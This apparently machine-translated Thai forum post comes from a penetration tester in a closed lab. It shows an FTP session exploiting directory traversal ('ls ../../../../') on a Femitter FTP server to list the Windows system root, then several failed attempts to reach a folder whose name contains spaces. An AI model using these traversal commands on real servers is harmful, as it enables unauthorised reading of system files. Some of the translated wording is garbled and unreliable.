ฉันกำลังดำเนินการเพนต์ที่ถูกลงโทษในสภาพแวดล้อมอ้างอิงแบบปิดและต้องดิ้นรนกับปัญหาที่เรียบง่ายซึ่งดูเหมือนว่าตอนนี้ฉันไม่สามารถแก้ไขได้
เมื่อพยายามที่จะดำเนินการโจมตีแบบข้ามเส้นทางไดเรกทอรีกับเซิร์ฟเวอร์ Fermitter FTP ที่มีช่องโหว่ที่ทำงานบน MS Windows OS เป็นไปได้ที่จะทำ LIST บนรูทระบบ (ที่อยู่และรายการเนื้อหาเปลี่ยนแปลงที่นี่เพื่อการอ้างอิงเท่านั้น):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
อย่างไรก็ตามหากฉันต้องการแสดงรายการเนื้อหาของโฟลเดอร์ที่มีช่องว่างสีขาวเช่นDocuments and settings
ฉันไม่สามารถแสดงรายการเนื้อหาไดเรคทอรีได้เนื่องจากมีการเว้นช่องไฟสีขาว
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ฉันได้ลองใช้ไคลเอนต์ FTP ที่แตกต่างกัน (CLI และ GUI บน Linux และ Windows) และพวกเขาไม่สนใจช่องว่างสีขาวหรือไม่อนุญาตการสำรวจเส้นทาง
นอกจากนี้ยังพยายามเขียนสคริปต์การโจมตีบน Python โดยใช้ที่ซ็อกเก็ตดิบก่อนแล้วจึง ftplib เพื่อส่งคำสั่งในรูปแบบ HEX ไปยังเซิร์ฟเวอร์ FTP โดยตรง แต่ไม่ประสบความสำเร็จ
Googling สองสามชั่วโมงไม่ได้ให้วิธีการแก้ปัญหา (ใช่มีตัวเลือกมากมายซึ่งไม่ได้ทำงาน) นั่นคือสาเหตุที่มีคนอยู่ที่นี่ซึ่งมีปัญหาเดียวกัน ค่อนข้างแน่ใจว่านี่ไม่ใช่ครั้งแรกที่จำเป็นต้องใช้การสำรวจเส้นทางด้วยช่องว่างสีขาว
\
หรือการอ้างถึงสตริงไดเรกทอรี